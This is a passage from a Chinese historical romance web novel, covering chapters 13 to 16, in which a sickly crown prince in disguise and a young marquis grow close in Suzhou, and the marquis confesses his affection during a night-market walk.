良久,眼前人轻出一口气,道:“宴知行。” 江眠还没开口,手第一次反被对方抓了起来,在他掌心一笔一划写下了宴知行三个字。 他写得全神贯注。 写得他心猿意马。 13. 喜欢你 宴。知。行。 一笔一划在他掌心落下三个字,指尖甲盖蹭在他柔软的掌心,微微发痒。 江眠同他靠得近,就这样看着眼前的公子低着头,全神贯注拉着他的手写着,院里不算明亮的烛光落在他脸侧,暖黄色的光线为他脸颊也度上少许气色,江眠只觉近处人眼眉如墨勾染,鼻梁皮肤细腻润泽,高挺的鼻背上那个微微凸起的驼峰也折出令他心悸的线条。 喜欢。 好喜欢。 宴知行写完,刚要松手,江眠也感觉到了。 他反手握住了要抽离的长指。 和他记忆里一样,微凉,总是捂不暖,一碰到他的手就开始汲取他身上的热度。 宴知行微讶,抬头来看江眠,却见少年眼中波光摇曳,神情又有些呆呆的将他凝住。 这又是……什么眼神…… 宴知行目光在江眠唇上垂落一霎,极快抬起,“怎么了?” “我……” 江眠手收紧了几分,握得太紧,宴知行的手都要被带得暖了起来。 宴知行发现,他好像不知不觉适应了这人滚烫的温度。 喉头上下滑动,江眠低头空咽一口,“我记得不是很清楚,是……” 反手一翻,竟是学着宴知行在他掌心如法炮制地又写了一次。 “是这三个字吗?”写完再度抬眼来看他。 不知是不是周围灯光太盛,宴知行只觉得江眠的一双眼睛较之方才又亮了三分,顾盼间像好似夜空里的星子璨璨耀动,让人难以移开视线。 “……是。” 江眠笑起来,眼睛也变成了月牙的形状。 宴知行:“这么高兴?” “是呀!我早就想问了!!”笑得头都歪了歪,眼底泛起狡黠,冲他眨了眨眼,“今天终于得偿所愿,知道了。” 垂眼也笑,睫羽又直又密,开阖像是两把小扇子。 没有人会不喜欢这么讨喜的人。他也不能例外。 “虽然不想扫兴,但你不妨再想想这个名字,再笑也不迟。”可惜他却不是个讨喜的人。 江眠眨了下眼睛,神情无辜极了。 蓦的脸色一滞,反应过来,“你姓宴?” “你也是宗室子弟?” “可以这么说。”太子自然也算是宗室之人。 “你。”江眠卡住了。 宴知行就这样静静看着他,好半晌,江眠极不确定地道:“是离皇室一支已经很远了吗,既是宗室子弟,怎么取了这么个名字?” 知行。 谨言慎行。 “还是……我才疏学浅,取的是‘知行合一’的意思?” 宴知行稀奇:“你在担心我?” 江眠眼神极不自然闪烁了下,往后扫视一眼,再近半步,用只有两个人能听见的声音道:“既是宗室,卷进这种立储的风波里,不该担心吗?” 宴知行的感受很奇特。 一面觉得有些好笑。 另一面,又感到一种奇异的熨帖——有人在担心他。 “不然,我们先出了刺史府再说,你觉得呢?” “……” 江眠回头,便见一脸尴尬想催又不好催促,干站在不远处的看着他们的刺史府管家。 迎上他的目光,管家艰难地挤出了个笑来。 噢。 * “你是什么时候知道我不是章怀闵的?” 夜风徐徐,沿着苏州河畔行走,河岸两侧摊贩林立,花灯悬挂燃烧如昼。 是宴知行主动提出来的走走,晚间吃得有些多想消消食,顺便借着这个机会同江眠说道清楚。 “教坊司乐上门来要人那次,你入府时换下的中衣还留着,原本是想直接用这套做点手脚拿来唬人的,后续你也知道了,没用上,如意处理那身血衣的时候顺便处理这套,拿到手里发现料子不对,便来报于我。” 入手细软,虽然全是白色,但细看能辨认出面料上有暗纹织锦,纹样为贡缎常用。 就算章家不出事,章怀闵一个没有功名的士子,也穿不了这么好的。 江眠脑袋晃了晃,高高束起的马尾也跟着摇摆,今天发间串的是彩色琉璃珠子,缀在辫子里一闪一闪的反光。 “这样往回想,其实你也没有故意隐瞒,生活脾性、吃穿用度,哪里都不像一个埋头苦读的少年举子,只是一开始我没往这处想罢了。” “哦对了,你是不是还带了护卫来的,成祥说你院子里像是有个武功很厉害的高手,你让他出来吧。” 不远处混迹在人群里的崔九:“……” 行走于夜市,耳际人声喧嚣鼎沸,叫卖声、小童玩闹声、谈笑声不绝于耳,甚至安静一些的时候,宴知行还能听见河水流淌的汩汩声响。 一个小童拿着风车从他身侧跑过,不多时一串小孩儿朗声笑着紧跟其后,红尘俗世扑面而来,宴知行觉得很新奇,他一贯喜静,但此刻并不讨厌这一份烟火气。 宴知行四下打量着,一心二用道:“此行我确实带了侍从护卫。一开始也没有扮作怀闵的打算,但我醒来已经被认错,他又不便挪动,我就顺水推舟留在了你府里。” “他怎么了?”问完愣了下,江眠后知后觉,“那晚上的火是你们放的?” 宴知行没有否认,“说来话长。我知道章家出事后,本是想在他流放前同他见上一面,再想想有没有别的法子,哪怕不能救下他,好歹打点一番,让他流放路上不至丢了性命。” 结果一到苏州就听见了说书人编撰的故事,在教坊开出高价见到人,自是怒不可遏。 “你开了多少?” “?两千金。” 江眠长叹一口气,扇柄击打掌心,“教坊果然日进斗金,难怪我开到五百他们也不松口,原是被你捷足先登。” “你那日也想见他?缘何?” “觉得事情不简单,看能不能做些什么。爵位虽是父母荫蔽,我也没有入朝为官的想法,但拿着食邑俸禄,食君之禄,忠君之事,总不能眼睁睁看着皇家闹出丑闻来。” 宴知行侧目看江眠,少年讲得轻描淡写,神情亦是坦坦荡荡。 魑魅魍魉见多了,宴知行难得的心中没有生出一丝怀疑。 将章怀闵在教坊遭受的简单讲了讲,果见江眠眼底浮起怜悯神色。 “所以你认识章怀闵?你同他是什么关系?” 宴知行想了下,“在都城中从小相识,要论起来,我两母亲同出一族,算是表亲。” “你母亲出自白家?”先皇后也是白家之人。 “对。不念从小的情分,为着这一层关系,我也不能冷眼旁观。” 江眠蓦的站定,眸光深深看向宴知行。 宴知行心念微动,但动作举止仍旧舒展,任由对方视线打量。 江眠虽真,却不是个笨人,谈话进行到现在,是该谈到背后牵扯的庞杂势力和都城如今一触即发的局势,比如白家,比如储位,还比如,他这个人的立场与此行所图所谋。 江眠:“你是从小身体就不好?” 宴知行:“我不能……你说什么?” “你的身体是一直都不太好吗?” 宴知行心念电转,他猜到自己的身份了?这是试探还是挑明?江家同长公主府…… 宴知行 没有说话,但黝黑的眸子沉沉,透不出一丝光线来,方才还轻松的气氛陡然一转,江眠敏锐地捕捉到不同,思及这人对喝药的厌恶,连忙添道:“你的病反复了很久,万太医也束手无策,开始我们以为是在教坊败坏了底子,待你稍稍好些之后,加之我催得又紧,万太医怀疑过你是从小身体就不大好,因此所有补药进益很难起效。” “现在又确定了你不是章公子,故而我有此一问……当然你要是不想说,可以不答,我就随口一问。” 江眠摸了摸鼻子,不自然地往边上看了看。 “……” 随口一问…… 宴知行叹了口气,继续往前行走。 江眠摸不到头脑,两步跟上,“你生气了?” “我不该问这个问题?” “唔,以后身体相关的都要少问吗?” 嘀嘀咕咕越说声音越低,后两句宴知行甚至没听清楚具体字词。 宴知行:“小侯爷,有人说过你话很多吗?” “啊?” 江眠眼睛一霎瞪大,圆溜溜的像是两颗宝石嵌在脸上。 宴知行唇角牵起笑意,迎着春夜微风,心神陡然放空开去,“是,胎里带来的积弱,不是几服药能改变的。” “噢,如此说来,公子倒是重情重义。” 宴知行看向江眠。 少年言笑晏晏,“从小身体不好应当不能奔波劳累的,明知道能改变的不多,还是从都城远赴苏州,不是重情义又是什么?” 宴知行墨色瞳孔一缩,嘴唇动了动却没有发出声音,须臾低头哂笑一声,语声轻得几乎要被这徐徐夜风吹散,“你才认识我几天……” “论心世上无完人。你能来苏州,甚至肯以病躯自降身份地为他谋划,此举已是当之无愧的情深义厚,公子又何必苛责自己。” 脚步微滞,宴知行眸中翻起复杂的情绪,带着他也厘不清的思绪看向江眠。 江眠却还是那个江眠,不太懂地歪了歪头,面对过久的凝视,少年回以展颜一笑。 神采飞扬,光明磊落。 倒是衬出思虑营营的自己的不堪。 垂了垂眼睫,宴知行:“小侯爷说话都这么动听的吗?” 江眠猛的凑近,嬉笑道:“不瞒你说,确实有很多人夸过我会说话。动听吗,你都不笑。” 气息拂过宴知行下颌脸侧,他竟也感觉到灼热。 宴知行:“是我不爱笑。不论怎么说,怀闵一事都该感谢侯爷,侯爷为他做的,说恩同再造也不为过,我会好好同他分说,让他铭记在心,日后若有机会必定厚报之。” 江眠眼神一闪,“我要他报答干嘛,我又不是为他做这些……” 声音不高,奈何两个人凑得近,说完想悔,已经晚了。 “那是?” 眼眸回转,果见青睐的公子并没有领会其中深意,压着眼眉,一本正经地看着自己,甚至面上还露出困惑与不解。 江眠叹了口气。 宴知行疑虑更甚。 脚步停顿,在不歇如流的人海里,两个人都没有说话,仆佣在后方不敢靠近,他们站立这一方天地的空气好似都安静了下来。 “你是真不知道……” 江眠眼底的水光开始晃动,如阳光下的苏州河面,金光一闪一闪的粼动。 他的脸颊不知何时带上些许绯色,但举止毫无扭捏, 深吸一口气,一鼓作气道: “我遇到的是你,带回府的也是你,费心救治的,一早想护的,也是你。” “我不是为了他才做这些的,” “宴知行,我是为了你。” 14. 倾慕我? 花灯如昼,暖黄的光线将两人都包裹其中,如织的人流在周遭来来去去,彷佛为两人辟开了一方独属彼此的天地。 宴知行深邃的眼眸微动,看着眼前如画般鲜亮的少年人,眉心拱起,难得地侧了侧头,“为了我?” 江眠深深呼吸,皮下烧灼的温度让他感觉陌生又有些局促,肢体彷佛都不属于自己一般不知道该如何动作。 但他的眼睛好似会说话,流光滟滟地看着宴知行,流露出未宣于口的期盼万千。 宴知行言语略略顿了下,郑重道:“承蒙侯爷这段时间的照拂,期间种种抬□□某亦是感恩怀德,铭记于心,如若侯爷不弃,自今日起你我便为至交好友,结金兰之情。日后若是有什么能用到宴某的地方,侯爷尽管开口,无需生分。” “……” 江眠的眼睛黯了下去。 宴知行拧眉,不对? 那点局促跟着江眠心中升起的莫大期待一道尽数散去,肩膀一塌,江眠失语看了天际一眼。 繁星如钻,星河璀璨。 可惜如此美景。 宴知行:“你……” 江眠蓦的上前一步,带着些气性,指尖直直戳在宴知行胸口处,恶狠狠道:“那你可得好好地用心记住我对你的‘恩情’。” 指头很用力地在宴知行心口点了两下,那力道彷佛要按到他胸膛里的心脏之上。 “自当如此。” 江眠转身往前走去,步子迈得极快,宴知行看着那个疾步离开的身影,后知后觉,这是惹他生气了? 所以还是不对? 这个念头在心间没转几下,脑子还在慢慢地往回捋,江眠又回来了,仿佛方才都是他的错觉一般,少年再度满眼含笑地拽着他向前去,“快快,你看你看。” 贴着石栏顺着江眠的手往下看去,期间快速瞥了一眼江眠侧脸,笑模样不像是强挤出来的,等视线触及河面,脑中纷杂的心思一霎清空。 苏州河缓缓流淌,从上游飘来零星的水灯,在水面上明灭起伏,稀疏的烛光转眼变成十几上百盏,莲花鸭子小船孔明灯形状不一而足,光点连成线,光线连成片,华光大放,满布河面的水灯汇聚一处摇摇荡荡浩浩汤汤,将整个河道连同宴知行的眼睛一齐点亮。 宴知行眼睫眨了几下,心中跟着江眠一道发出一个低低的音节,哇。 这一晚赏了夜景,放了河灯,还在路边尝了些新鲜出炉的点心,不多,每个都只尝了一口,觉得味道好的想再吃一口,可惜点心最后都会流向如意和承吉,每每宴知行回头,两个少年皆是两颊鼓鼓手中空空。 等福安第二回提醒逛得太久该回了,宴知行还有些不情愿,反倒是玩得最投入的江眠毫不贪恋下令打道回府。 * 道过别,江眠领着承吉如意成祥,宴知行带着福安同方,还有唤出来已经见过江眠的崔九,在府内主道分作两路,各回各的院落。 江眠那一路还是叽叽喳喳说个没完,随着两道人渐行渐远,白日的喧嚣仿佛终于从宴知行周遭抽离,空气陡然静默下来。 福安敛容随行,同方崔九亦是目不斜视矩步方行跟随身后。 四人行走,皆如一个模子刻出来的寂然无声。 在昏黑的夜路上,这种彷如亘久的静寂让宴知行有了一瞬失神。 心头说不上来的豁开一道空洞。 但对于需要用什么去填补,宴知行又茫然。 崔九过了明路,偏院的几个侧房福安早就收拾了出来,安顿好他,唤扫洒烧的水也滚了,福安动手给宴知行兑泡脚水先暖身,再行洗漱安歇。 脱了鞋袜,手按在宴知行脚踝上,踝骨突出,瘦得只剩一层薄薄的皮肤,手心传来的温度更是凉得冻人,不似活物。 福安往上按了按,膝盖以下都已经冷透,惴惴道:“公子要点个手炉吗?” 不闻有回答,抬头却见宴知行仿佛没有听见他问话,垂目随手拨弄着今晚夜市上买的小小花灯。 真的很小,只有两个巴掌那么大,骨架用竹编制,四面糊着上好的鲜亮彩纸,每一个却都活灵活现栩栩如生,承吉如意被吸引得走不动道,要价不菲的花灯江眠让他们各挑了一盏,扭头来问宴知行,福安都以为公子不会感兴趣,但他却认真挑了一只螃蟹,也是最贵的一盏,眼睛和蟹腿都能单独活动,扎得精妙异常。 内里灯心早已吹灭,宴知行有一下没一下的拨弄着蟹眼螯足,福安这才发现蟹灯前方的那对大钳子也能开阖。 福安不由也多看了两眼,才抬高了声量再问。 宴知行回神,愣了下,这才意识到似的,“是有点冷,点吧。” 将宴知行双足泡进热水里,福安点好手炉拿回来,宴知行也没有放下手中灯盏,只让福安将手炉放于一侧,左右手交替着取暖。 等身体稍稍回温,宴知行蓦的开口:“我记得幼时都城办灯会,我好奇得紧但又不能出宫,怀闵逛完后给我带了一盏不小的醒狮灯笼,也是如此,身体眼睛各个部位都能动,亮起灯后惟妙惟肖……” 语声一顿,宴知行:“你说,章大人一案,他当真知晓什么内情吗?” 身侧的福安一时间没有作声。 宴知行想他大概在犯难,倒也不怪福安,到了现在,一晚上过去,每每想起连他自己都会有几分恍惚的不真切感。 江眠问他今晚萧阳冰有没有为难他,他答萧阳冰为难不了他。 萧阳冰确乎不足为虑,但却带给了他一个意想不到的消息。 在确定萧阳冰当真不知章怀闵被没入教坊一事后,宴知行自然而然地,开始旁敲侧击问起都城里怀闵父亲章大人,章宜年一案。 此案办得快,风声又压得紧,都城里除去父皇外,也就经手的汪阁老及他的两个门生知晓内里详情。 而恰恰,萧阳冰也拜在汪阁老门下,万一他知道些什么呢? 他料得没错。但显然,汪阁老比他考虑得更为深远。 自他下江南起,汪阁老总共给萧阳冰写过两封信。一封知会萧阳冰留心章怀闵流放一事,一切依律办理即可。当时萧阳冰在外治理水患,信件没有及时收到。 汪阁老写第二封信的时候,长公主的信笺应当已经到了父皇案头,因此信中他只说章怀闵一事都城已有决断,让萧阳冰无需担忧……信写到最后,汪阁老说倘若太子莅临,问起章宜年一案内情,萧阳冰据实相告便是。 自始至终汪阁老没和萧阳冰提过任何相关,据实相告的意思,自然也是无可奉告。 但信尾偏偏多出一句,若是太子殿下执意追问,或许章怀闵能为其解惑。 白纸黑字两封信,宴知行一字不落地看完,是汪阁老的字迹,信尾也盖着汪阁老私章,不会有假。 所以,兜兜转转,怀闵么……? 福安思忖许久,终于小声开口道:“章公子近来确乎不大对劲。” 岂止是不太对劲,都闹得福安着急忙慌地进府向他禀告种种反常。 还有初初见面之时,怀闵见到他便流下泪来,直呼他不该不顾身体远赴苏州。在教坊受尽折磨,见了他却也不求他为自己做主,反是一心求死…… 宴知行忽然想起父皇初闻他想游历江南时欲言又止的神情,父皇说苏杭也不一定是人间天堂…… 他心间忽的腾起一股很不好的感觉。 嘶。 颞骨霎时传来一阵如针扎般的刺痛。 福安担忧,“公子,切莫多思,保重身体。” 宴知行哂笑,“这身子,保重不保重又有什么两样?” 但见他眼底沉沉,方才逗玩螃蟹灯的愉悦神情已然在那张脸上遍寻不着,福安立刻垂首静立,不敢再发 出任何声音。 好一会儿,宴知行才吐出一口气,熬过了那阵头痛。 福安试探着伸手想帮他按揉,却被宴知行打开了去。 “加水。”宴知行气息不稳道。 福安立即去寻铜壶。 “今天同江眠说好了,偏院全部换成我们的人,也单独开一扇侧门给我们出入,你明天看着拿些银钱给如意抵我们这段时间的吃用,顺便回去看看怀闵如何了。” “今晚走了很久,我……” “将养几天再去见他。” 福安心下刚松了口气,又听到宴知行道:“你把我上次犯病卧床的日期,还有章大人案发结案的具体日子,都整理出来给我。” 顿了顿,宴知行疲惫再道:“我卧床的时候,来访探病的人名单也一齐整理一份,同样标注好具体时日给我。” “喏。” 后续洗漱宴知行再没说一句话,福安也不敢多言,低头默默做事。 等擦了身,换过中衣,福安铺床的时候,宴知行才又开口,说起的却是江眠今晚的一言一行。 “他猜到了我的身份?但若是冲着这个来,怎么又什么都不要?” 太子可以许诺给他的,可比一个边远的宗室子要多得多。 此事福安已经在崔九口中听过一遭,再度从宴知行嘴里听闻,神色万分复杂。 福安:“这个名字也在玉牒之上,公子也未曾有半句假话,小侯爷当是不知情。” “……也是。” “但他又要我记恩,难道仅仅是记住吗?” 宴知行总觉得不对。 福安嘴唇动了动却没发出任何声音,此举被宴知行余光捕捉到,“你想说什么?” 福安不由闭了闭眼。 “你知道些什么。” 宴知行何其敏锐,问句已经变成了肯定。 “说。” 福安斟酌良久,缓缓道,“奴婢觉着,小侯爷当是,当是挺喜欢公子的。” 宴知行想了下,拧眉,“他见人便带三分笑,正常相处,不会轻易讨厌谁的。” 福安人像是被架在火上炙烤,“奴婢说的,不是这种喜欢……” “那是哪种?” “是……私情,年少慕艾,《越人歌》里的与王子同舟。” 越人歌……宴知行脑中瞬间浮出最有名的尾句,山有木兮木有枝,心悦君兮…… 宴知行脑子空白了一霎。 “你都……在说些什么……?” “你的意思是,他把我当外室那种……” 福安哪里是这个意思,登时整个人都跪了下去,身体往前一扑,额头紧紧贴着地面道,“奴婢绝无此意,小侯爷对公子极为尊重,绝非意图豢养公子。” “……” 宴知行脑子也是嗡嗡的,知道福安理解岔了,但也顾不得去分辨,只摆了摆手。 室内安静下来,福安一时只听得到自己焦灼的呼吸声响。 好一会儿,宴知行声音沉沉:“你为什么会这样认为?” 这要说起来那可太多了,福安只能尽量挑拣着重点。 住的院落,烧的炭火,食用的精细,桩桩件件,福安细细罗列,宴知行这才惊觉竟是受惠如此之多。 福安话落,室内久久无声,宴知行视线也不知定在空中哪一处,迟迟不见有任何动作。 “你是说,他倾慕于我?” “……是。” “哈。”宴知行骤然哂笑,扶额摇头道,“我有什么好值得他喜欢的?” 福安心神剧痛,慎之又慎,未料最害怕的一幕还是出现了,当即顾不得那么多,膝行两步伏跪哀求道,“公子天潢贵胄,切勿妄自菲薄!” 又是一阵久长的沉默,宴知行声音变得极轻,疲惫不堪道:“你下去吧。” 15. 我没生气 福安一走,内间就剩宴知行一人,他知道自己该歇了,原本也是打算立即歇下的。 拧着眉心又扶了扶额,脑子乱糟糟搅和成一团,想静下来,但有关江眠的画面与动作与言语像是打碎了的水中倒影,泛起绵延不断的涟漪,和福安所陈所述相互照应,一一都带上了他未曾留意过的别样意味。 宴知行又想到了江眠的唇。 饱满,红艳艳的好似山楂,开合间泛起一点若隐若现的水色。 他好像又回到了那个圆月的中秋,在夜色里,在黑暗中,从男子肩旁看到一张鬓发散乱的脸颊,眼波荡漾迷乱着微微分开唇齿探出一点舌尖往上献,只是这张脸混沌里变成了江眠的模样,低低唤他一声,公子。 宴知行一个激灵,四肢百骸竟是头一次涌出了微微生汗的燥意。 都在想些什么啊…… 仰头,已经散下来的长发扫过脖颈背脊,是一阵不舒服的刺挠。 宴知行伸手想拨,动作一滞。再继续,却是捞了一小撮捏在手里放于眼下。 上段还是失色不太明显的深褐色,到了中段触感已经变得像稻草干涩,末端的发尾几乎每根都有情况不同的分叉,呈现出一种近乎透明的焦黄,捋一把,不少干枯的发梢纷纷碎断在他手掌心。 他小时候不是这样的,他的发生得像母亲,幼时常常被宫人赞叹顺泽。 但随着他身体越来越差,头发也跟着变得越来越糟,一年,两年三年?他已经忘了他到底有几年没仔细看过自己了。 但其实也并没有什么好看的。 无非是一具日渐衰败的皮囊。 宴知行往上捞了捞衣袖,皮肤惨白如纸紧紧贴在骨头架子上,青筋蜿蜒在手背手腕上仿佛都带着一层雾蒙蒙的死气,一点都不光鲜。 喜欢他么。 喜欢些什么呢? 这一副被名贵药材死死灌出来的最后一点活人气吗? 百年的山参,千年的灵芝,雪山巅之药莲,白睛山君的虎骨,梅花幼鹿茸角骨血,还有深山罕世的虫草……哪样他没吃过,哪样又不常年堆在他药房库里? 江眠说教坊日进斗金,殊不知他这瘦朽的身躯,已经是金子能堆出来的最好形貌。 但他没有多久了。 再多的银钱也买不了生死。 总有再多珍稀药材也无济于事的那一天。 等他露出眼窝深陷、面色蜡黄、形容枯槁的将死之相,江眠还会喜欢么? 四下寂然,但宴知行心底已经有了答案。 他无声地笑了笑,莫名的燥意终于被骨头缝里恒久的冰冷感所取代。 但他也不高兴。 真的是……明明那么讨喜一个人,怎么就和他犯冲? 他们大抵八字上就不和。 江眠。江眠。 怎么有这么能惹他厌烦的人! 宴知行这一晚上没有睡好,魑魅魍魉似乎不止在他心底,也潜进了他梦里。 他一下子变得很小,回到了刚到行宫的头几年,那个时候大舅小舅还常常来探病陪护,为他身体想些办法,然后有一天舅母表妹也来了行宫,他当时还不太懂是什么意思。 他的身体一贯说病就病,那次舅舅一家来小住他当晚就病倒了,舅舅舅母照顾他,只是不知为何连表妹都在一旁站着……也不知道哪天晕睡醒来,醒来便咳得停不下,内室只有表妹手足无措地守着,他见她神色惊惧,安慰了两句便打发她找福安前来。 他年少时也更不惯在生人面前如此不得体。要脸。 都说怕什么来什么,强忍了会儿,福安一来,他便呕了口血。 血污刺目,把十三四的女孩儿瞬间吓哭了去…… “宴知行?宴知行……醒醒。” 有人在摇晃他手,嘶,好烫的人。 宴知行一睁眼,便看见了凑近的江眠,对方一见他转醒,便露出个笑来。 眼眸明亮,言笑晏晏。 一下子将梦中那张惊恐哭泣的脸冲淡了去。 “你醒啦,等等,我喊福安来,他担心得不行。” 宴知行还没开口,江眠飞快地说完,宴知行视线里只能看见江眠转身带起的发尾飞扬。 今天发尾小辫子里编入了五色彩绳,跟着他的发丝一起飘摇。 宴知行:“……” 罢了,就是这样的人,哪天素净下来,他说不定还会不习惯。 动了动手脚,浑身骨头缝里都在发疼,宴知行怔怔,正要抬手摸额际,福安从外间匆匆赶来,一脸的担忧,给了他个准话,“公子你早间周身发热,叫也叫不醒。” 哦。低烧了啊。 仆从进进出出,一个二个皆是敛眉低目,轻手轻脚地行动无声,江眠看着一个下人将沏好的茶水端来,对他屈膝行了个礼,声音也放得低低,只有他们两个能听见,青瓷的盖碗茶杯带着茶盏,从托盘移到紫檀桌面上,愣是半点声音都没发出来。 江眠死死盯着眼前的茶盏。 等人一走,立即上手,噌,茶盖碰着茶身响起瓷器特有的脆响,再抬了抬盏托,噔,又发出瓷器和木材的碰撞声。 Emmm……噌,噔,噌,噔,噌…… “小侯爷,可是有什么不妥?”不知何时福安出现在身旁,一开口,吓了江眠一大跳。 江眠定了定神:“吵到你了?” 福安往后方床幔处看了一眼,压低声音道,“是公子让我出来看看的。” 哦,吵到宴知行了。 不对,这点声儿都听得见吗? 江眠寻思着,手不由自主又拨了两下茶盏,第二声刚响,内里一个沙哑的声音忍无可忍叫道:“福安!” 福安:“……” 江眠:“……” 憋着怒气,江眠听出来了。 事实证明对方真的很生气,不出片刻,被请出去的不止那一盏青瓷的茶杯,还有拿着茶杯的江眠站在院子里。 “看你们的人摆动的时候没声,我有些好奇,孰料我上手次次都有动静……” 反正都被赶出来了,江眠呷了口晾得正好的茶水,同福安慢慢讲道。 福安双手交握身前,也是局促,“其实没有多大动静,只是我们公子生病的时候就是听不得响,带出门的下人也都是清楚的……还望侯爷多多体谅,切莫往心里去。” 江眠摸了摸鼻子,“我倒是还好,但我听着他挺生气的,不然你还是先进去看看他?” …… 福安对着宴知行行了个礼,仔细端详他脸色,慢慢道:“早间刚把人手调度安排好,交给同方去办后,回来就发现公子不对劲,也不知我们的人什么时候能来,只得做两手准备,一边等人来一边差人去禀报小侯爷,崔九也同时派出去催同方……” “小侯爷听闻公子身体不适,过来看望,刚好跟同方崔九领回来的人撞到一起……院子里便有些慌乱……随后公子您醒来……” 跟着便是福安给宴知行把了个脉,他们带的太医也来请脉,刚定下药物怎么用,他伺候宴知行服用药丸的时候,外间小侯爷玩起了茶杯。 宴知行眼眉动了动:“他是来看我的?” “听着公子发热便来了,承吉说侯爷连早饭都没用完,一路直奔我们这儿。” 瞧着宴知行不像生气,福安:“来了院子里,我们人手也没安排好,乱糟糟的,慢待了侯爷,万幸小侯爷脾气好,还主动提出看顾公子,让我先行整顿下人……所以直到公子转醒,才有人手给侯 爷泡上茶。” 宴知行没说话,静静靠坐在床头,黑色的发淌在身上,映着他漆黑的眼眸越发沉寂,偏偏脸色苍白如纸半点血气也无。 “哦对了。”福安想到什么,转身捧了个匣子进来,递给宴知行,打开一看是两封文书,“章公子的身契与籍契,州府一大早就送了过来,侯爷直接让门房拿到了我们院子里来。” 宴知行一摸厚度不对,籍契身契下方还压着数张银票,合计共六千金。 福安:“这是教坊送给侯爷的赔礼。” 宴知行纳罕:“他要给我们?” “侯爷原话说是给章公子的,并着之前浇坏的五千五百两金,待如意姑娘去银楼换好了新的银票也一并给我们送来。小侯爷说章公子如今孑然一身,后续还要去人生地不熟的北疆,文人重脸面,与其他和公子施惠,还不如将教坊的赔金一并予他,数目不少算个傍身,也算是教坊对章公子的些许补偿。” 拒绝的话都到了嘴边,听完福安说的,手又收了回来。 看着手中银票,宴知行叹了口气,“他倒是人情练达。” “小侯爷还说,如若公子不愿,将银票送回即可,他到时候一齐退给教坊。” “……”却是连他的反应都想周到了。 罢了。 “给怀闵吧。” “喏。”福安接过了匣子。 宴知行轻声道:“你让他进来吧。”顿了顿,再退步,“茶也可以带进来喝。” “……公子,侯爷方才已经走了。” “……” 黝黑的眸子点了福安一眼,福安立即俯首添道:“但侯爷很是关切公子,走前还问公子身体如何,可是出了什么事情……” 宴知行蓦的打断:“从方才起说了他这么多好话,你到底想说什么?” 福安一下子歇了声,额头几乎要抵到匣子上。 “你怕我因为你昨夜的那番话迁怒于他?” 福安喉结上下滑了滑干咽下一口唾沫。 “我没怪他,我只是……” 眼中焦点虚了一霎,心中五味杂陈,宴知行自己也说不出来个所以然,索性闭目,摆了摆手,“下去吧,我歇会儿。” 等内间没人了,宴知行看着头顶床幔,头脑清明。 什么少年慕艾, 他瞧着江眠对他的耐心还没对承吉好呢。 哈。 * 午间起来坐了会儿,吃了药温度下去一点,身上还是痛,一点东西都不想吃。 正闭目静坐着,福安来报,说江眠又来了。 宴知行眼睛都没睁,“不见。” “真不见吗?宴公子?”窗户缝里霍然蹭进来一颗脑袋,头发里编着五色彩绳。 “……” 江眠笑嘻嘻道:“我可是不辞辛苦从珍味轩包了一桌子菜回来哦,承吉如意成祥现在都在酒楼吃上了,就我还饿着肚子念着你这个病号,给个面子嘛公子。” 宴知行睁开眼睛,就看见江眠手臂也搭了进来,看着他歪头笑着。 脸颊边上是院子里盛放的灼灼花树,好似特意为他作配一般花枝飘摇。 江眠掰手指,“出名的菜品就有十几个,没点特别荤腥的,不过他家的特色就是荤菜素做,据说煮豆腐的高汤要从昨晚就开始熬呢……之前不是答应带你出去玩吗,马上就是上巳节,街上都开始准备了,我还想和你说说……” “……你话真多。”宴知行按了按眉心。 江眠耸了耸鼻子,可怜兮兮:“说好的金兰之交呢,朋友只能扒窗说话吗?” 宴知行眼皮一跳,斥道:“手拿出去,如此成何体统!” 扭头却对福安没好气道,“请侯爷进。” 16. 上巳节 江眠脸上挂着得逞的笑意被“请”进内屋,宴知行才算是看清对方今日的装扮。 水绿的袍服清清爽爽,包边甚至罕见地用了同样素净的云白,衣襟衣摆不见任何绣线,离得近了,衣袍经纬在光线下折射出一个个小小的水波祥纹,原是织锦的布料。视线往上抬一抬,果然在领口包边上也看到了云卷云舒的暗纹。 随着江眠走动,水波纹样呈现出深深浅浅的绿,让宴知行想到春日里的青青草地,迎着阳光勃勃生发。 许是真的来回奔波,又可能只是步子有些快,江眠两颊红扑扑的润泽,唇色也鲜亮得欲滴,少年见了他便笑,无意识地往上捞自己的衣袖,手臂胳膊也敷上一层淡淡的粉,拢在水绿的衣衫里,倒衬得人像是枝头开出来的花束,招摇且明艳。 江眠满背都是汗,手对着脸虚空扇了扇风,环顾四下随口道:“你的人手脚好麻利,我走的时候都还在摆放带来的东西。” 一转眼,高低陈设一应俱全,简直不像一早上能收拾出来的。 宴知行无声出了口气:“你就想说这个?” “当然不。我喊了珍味轩两桌子菜回来,今天阳光好,我让摆院子里,一齐来吃吧。” 宴知行:“两桌子菜?” “对啊,福安同方崔九还有你这一院子人,不一起吃吗?” 江眠眼睛睁了睁,毫无心防地反问,好似本该如此。 宴知行目光在他脸上静了会儿,“……我身上难受,不想吃。” “那来看看呗,不吃主菜吃点甜品也是好的啊,他家的酥酪可是才出锅的,特别嫩……”见宴知行不为所动,说到一半江眠灵机一动,竟是转身往外,“你等着。” 快步走进来,又两步并作一步往外跑,宴知行可算是知道他为什么热了。 转眼功夫双手捧进来一小盏甜品,白嫩嫩的酥酪在甜白瓷的盏里微微摇晃,上面加了枸杞蜜枣做点缀,小小的一碗装点得玉雪可爱。 江眠舀起一勺凑到宴知行面前,“闻闻,香不香,你尝尝?” 他性子跳脱,做完了这一切才发现两个人离得近了些,而且这个投喂的动作……果然宴知行目光往上一掀,没看他手里的苏酪,反倒是视线聚集到了他脸上。 脸皮下面的血登时咕涌起来,江眠一下子觉得脸上也热得厉害了去。 卡顿的脑子白了有几刻才迟滞地转动,正想不要脸笑笑打个哈哈带过眼下尴尬,宴知行眼睫又落了下去,江眠看见他往前凑了凑,含住了那一口苏酪,嘴唇还是浅浅的白粉色。 耳朵脖子也好烫。 视线里的头发乌黑,发顶有两个小旋,好有光泽。 他手也僵了,感受着勺子上传来的那点轻微力道,像是被冻住了一般。 慢条斯理咀嚼下肚,宴知行:“再尝一勺。” “哦,哦哦。” 手忙脚乱,勺子碰了瓷盏壁好几下,下一勺才舀起来。 他吃相真好,家教该是很严吧。颜色真淡,也不知道吸一口会不会红点。脑子里跳出来的念头也是不着边际。 等看到宴知行喉结滑动,咽了下去,江眠喉咙莫名也干咽了一下,问他,“好吃吗?” 声音发哑,大概是被脸皮下的血烧的。 宴知行淡淡道:“能吃。” “那,那……你来院子里看看菜品呗。” 